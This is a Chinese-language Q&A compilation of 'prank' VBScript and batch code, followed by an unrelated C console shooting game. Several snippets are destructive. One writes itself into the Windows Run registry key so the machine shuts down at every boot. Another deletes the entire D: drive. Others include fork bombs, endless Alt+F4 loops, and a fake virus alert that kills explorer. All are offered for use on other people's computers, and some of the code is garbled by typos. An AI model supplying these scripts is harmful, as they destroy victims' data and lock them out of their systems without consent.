恶搞源代码
1. 求一些好玩的整人代码~~
这些超级好玩看看
第一个：
这些超级好玩
第一个：
'------!!注意危险!! 5-开机一完毕就关机(计算机无法使用) !!注意危险!!----------dim fsodim wsset fso=CreateObject("Scripting.FileSystemObject")set ws=CreateObject("wscript.shell")set f=fso.getfile(wscript.scriptfullname)ws.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\"&f.name,f.pathset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'------------------------------------------------
--------------------------------'----------!!注意危险!! 6-格式化D盘(D盘下所有文件被删除) !!注意危险!!-------dim wsset ws=CreateObject("wscript.shell")ws.Run "%Comspec% /c"&"RD /S /Q d:\",0,ture'--------------------
第二个：
“
gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)
set s=createobject("wscript.shell")
wscript.sleep 1000
msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"
wscript.sleep 1000
wscript.sleep 1000*100
msgbox "windows发现一重要更新，将自动下载。"
wscript.sleep 3000
msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno
wscript.sleep 1000
msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"
msgbox "是否阻止其安装？",vbyesno
wscript.sleep 3000
msgbox "阻止失败！请检查防火墙是否开启！"
wscript.sleep 5000
msgbox "正在尝试强行删除…"
wscript.sleep 5000
msgbox "失败！"
wscript.sleep 5000
msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"
wscript.sleep 10000
s.sendkeys "% n"
s.run "taskkill /im QQ.exe"
s.sendkeys "% n"
s.run "taskkill /im explorer.exe /f"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
s.sendkeys "% n"
msgbox "你好啊！"
wscript.sleep 3000
msgbox "很高兴见到你！"
wscript.sleep 3000
msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"
wscript.sleep 3000
msgbox "我控制你的电脑了！"
wscript.sleep 3000
msgbox "不信？那我给你关机看看~"
s.run "shutdown -r -t 120"
msgbox "信了吧！"
msgbox "帮你解除关机……"
s.run "shutdown -a"
msgbox "再给你打开记事本写封信，劝你最好别动，要不然会引起系统混乱~"
s.run "notepad"
wscript.sleep 3000
s.sendkeys "Hello, I'm sorry I control your computer,"
wscript.sleep 3000
s.sendkeys " but the virus is false in, "
wscript.sleep 3000
s.sendkeys "only a joke, "
wscript.sleep 3000
s.sendkeys "please rest assured! "
wscript.sleep 3000
s.sendkeys "I no longer next "
wscript.sleep 3000
s.sendkeys "time so the whole you!"
wscript.sleep 3000
s.sendkeys" Goodbye!"
s.sendkeys"{enter}"
s.sendkeys"END"
wscript.sleep 1000
s.sendkeys"%{F4}"
msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"
s.run "explorer"
”
这个病毒的说明：在任务管理器关闭wscript.exe可关闭弹窗
第三个：
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
第四个：
do
msgbox"哈哈哈有种把我关掉”
loop
哈哈哈有种把我关掉可以随意更改
第四个的升级版：
do
msgbox"哈哈,有种关掉我啊"
msgbox"开始倒计时"
msgbox"10"
msgbox"9"
msgbox"8"
msgbox"7
msgbox"6"
msgbox"5"
msgbox"4"
msgbox"3"
msgbox"2"
msgbox"1"
msgbox"野生熊孩子强最帅"
loop
野生熊孩子强最帅可以随意更改
第五个：
Dim odjws
Set odjws=wscript.createobject("wscript.she11")
do
objws.Run "calc"
loop
第六个：
'--------------------------------3-直接关机------------------------------------dim wsset ws=CreateObject("wscript.shell")ws.run "shutdown -f -s -t 00",0 ,true'--------------------------------------------------------------------------------'-------------------------------
第七个:
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
msgbox"273"
第八个：名：腾讯QQ
do
msgbox”别点我哟，我今天想休息，不让登”
loop
第九个：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""说我是猪，不说我是猪就两分钟关你机，不信，你试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，说 ""我是猪""","说不说","你写啊",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛,呵呵，爽"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
第10个：
Gecho off
start cmd
%0
第11个：
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"陈独秀"
a=inputbox("快在下面的框框里输入陈独秀喜欢谁,否则后果自负"" ","一个问题","")
loop
call shutdown(2)
msgbox"好吧，不过好自恋啊",4096+64
msgbox"但是你关不掉我",4096+64
msgbox"真的",4096+64
MsgBox"你不信？",4096+64
MsgBox"打开任务管理器也没有什么软用的",4096+64
MsgBox"给你讲个故事",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 60
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
第12个：
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
第13个：
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
2. 恶搞程序代码
代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改。
if MsgBox("对不起,您灌水太多需要重新版启动计算机。权"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then
msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
加分哦
3. 求一VB恶搞程序代码
把以下代码复来制到记事本中，自然后把扩展名改为.vbs运行即可。
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a <> "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"
4. 你见过有哪些搞笑的代码
饿昨天改别人代码遇到的！ 用户登录，我登录先去查账号资料对比密码， 我再查一遍账号获取用户资料！ 都是一个表。
5. 收集一些搞笑程序代码
如果你感到无聊，看看下面的吧。整人的东东… 如果你想恶搞别人一下,在记事本中输入如下内容： @echo off start cmd.exe %0 2 . @echo off :a rundll32 desk.cpl, DisplayTestSettingsW goto a 运行后会黑屏！ 3.shutdown -s -t 60 60秒倒计时关机！ 4.%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0 系统崩溃！ 5.下面的另存为a.bat @echo off Start a.bat dir c: /s /a
求点赞
6. 恶搞小程序源码
这个可以用javascript实现的啊，死循环啊，如果要源码的话，可以到源码天堂去下载看看。
7. 求恶搞网页HTML原代码，要输入我是猪才能关闭的那种。
网页恶搞不现实，因为浏览器有安全限制，不允许js越过安全权限的。一旦关闭该页面这个所谓的恶搞程序就被结束了
8. 恶搞的爱情测试的PHP源代码是什么啊
打开那个网站，然后选择：查看——源文件就可以了啊
9. 如何编写简单的恶搞程序
建个批处理文件：shutdown -s。
关机的。
10. 求一些恶搞程序的C语言源代码
一个打飞机的游戏，DEVc++编译通过：
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>
#define zlx 10 //增量坐标(x)让游戏框不靠边
#define zly 3 //增量坐标(y)让游戏框不靠边
#define W 26 //游戏框的宽度
#define H 24 //游戏框的高度
int jiem[22][22]={0}, wj=10; //界面数组, 我机位置(初值为10)
int speed=4,density=30, score=0,death=0; //敌机速度, 敌机密度, 玩家成绩,死亡次数
int m=0,n=0; // m,n是控制敌机的变量
void gtxy (int x, int y) //控制光标位置的函数
{ COORD zb; //zb代指坐标
zb.X = x; zb.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );
}
voidColor(inta) //设定颜色的函数(a应为1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }
void yinc(int x=1,int y=0) //隐藏光标的函数
{ CONSOLE_CURSOR_INFO gb={x,y}; //gb代指光标, y设为0即隐藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);
}
void csh( ) //初始化函数
{ int i;
Color(7);
gtxy(zlx,zly); printf("╔"); gtxy(zlx+W-2,zly); printf("╗"); //左上角和右上角的框角
gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下边两框角
for(i=2;i<W-2;i+=2) {gtxy(zlx+i,zly); printf("═"); } //打印上横框
for(i=2;i<W-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); } //打印下横框
for(i=1;i<H-1;i++) { gtxy(zlx,zly+i); printf("║"); } //打印左竖框
for(i=1;i<H-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); } //打印右竖框
Color(14); gtxy(19,2); printf("歼灭敌机"); Color(10);
gtxy(37,5); printf("设置：Esc ");
gtxy(37,7); printf("发射：↑ ");
gtxy(37,9); printf("控制：← → ");
gtxy(37,11);printf("得分：%d",score);
gtxy(37,13); printf("死亡：%d",death);
yinc(1,0);
}
void qcjm( ) //清除界面函数
{ int i,j;
for(i=0;i<H-2;i++)
for(j=0;j<W-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}
}
void feiji( ) //飞机移动函数
{ int i,j;
for(i=21;i>=0;i--) //从底行往上是为了避免敌机直接冲出数组
for(j=0;j<22;j++)
{if(i==21&&jiem[i][j]==3)jiem[i][j]=0; //底行赋值0 以免越界
if(jiem[i][j]==3)jiem[i][j]=0, jiem[i+1][j]=3;
}
if(jiem[20][wj]==3&&jiem[21][wj]==1) death++;
}
void zidan( ) //子弹移动函数
{ int i,j;
for(i=0;i<22;i++)
for(j=0;j<22;j++)
{ if(i==0&&jiem[i][j]==2) jiem[i][j]=0;
if(jiem[i][j]==2) {if(jiem[i-1][j]==3) score+=100,printf("7");
jiem[i][j]=0,jiem[i-1][j]=2; }
}
}
void print( ) //输出界面函数
{int i,j;
qcjm( );
for(i=0;i<22;i++)
for(j=0;j<22;j++)
{ gtxy(12+j,4+i);
if(jiem[i][j]==3) {Color(13);printf("□");}
if(jiem[i][j]==2) {Color(10);printf(".");}
if(jiem[i][j]==1) {Color(10);printf("■");}
}
gtxy(37,11); Color(10); printf("得分：%d",score);
gtxy(37,13); printf("死亡：%d",death);
}
void setting( ) //游戏设置函数
{ qcjm( );
gtxy(12,4);printf("选择敌机速度:");
gtxy(12,5);printf(" 1.快 2.中 3.慢>>");
switch(getche( ))
{case '1': speed=2; break;
case '2': speed=4; break;
case '3': speed=5; break;
default: gtxy(12,6);printf(" 错误！默认值");
}
gtxy(12,7);printf("选择敌机密度:");
gtxy(12,8);printf(" 1.大 2.中 3.小>>");
switch(getche( ))
{case '1': density=20; break;
case '2': density=30;break;
case '3': density=40; break;
default: gtxy(12,9); printf(" 错误！默认值");
}
for(int i=0;i<22;i++)
for(int j=0;j<22;j++) jiem[i][j]=0;
jiem[21][wj=10]=1; jiem[0][5]=3;
gtxy(12,10); printf(" 按任意键保存...");
getch( );
qcjm( );
}
void run( ) //游戏运行函数
{ jiem[21][wj]=1; //值为1代表我机(2则为子弹)
jiem[0][5]=3; //值为3代表敌机
SetConsoleTitle("歼灭敌机"); //设置窗口标题
while(1)
{if (kbhit( )) //如有键按下，控制我机左右移动、发射或进行设定
{ int key;
if((key=getch( ))==224) key=getch( );
switch(key)
{case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1; break;
case 77: if(wj<20)jiem[21][wj]=0,jiem[21][++wj]=1;break;
case 72: jiem[20][wj]=2; break;
case 27: setting( );
}
}
if(++n%density==0) //控制产生敌机的速度
{ n=0;srand((unsigned)time(NULL));
jiem[0][rand( )%20+1]=3;
}
if(++m%speed==0) { feiji( ); m=0; } //控制敌机移动速度(相对子弹而言)
zidan( ); //子弹移动
print( ); //输出界面
Sleep(120); //延时120毫秒
}
}
int main( )
{ csh( );
run( );
return 0;
}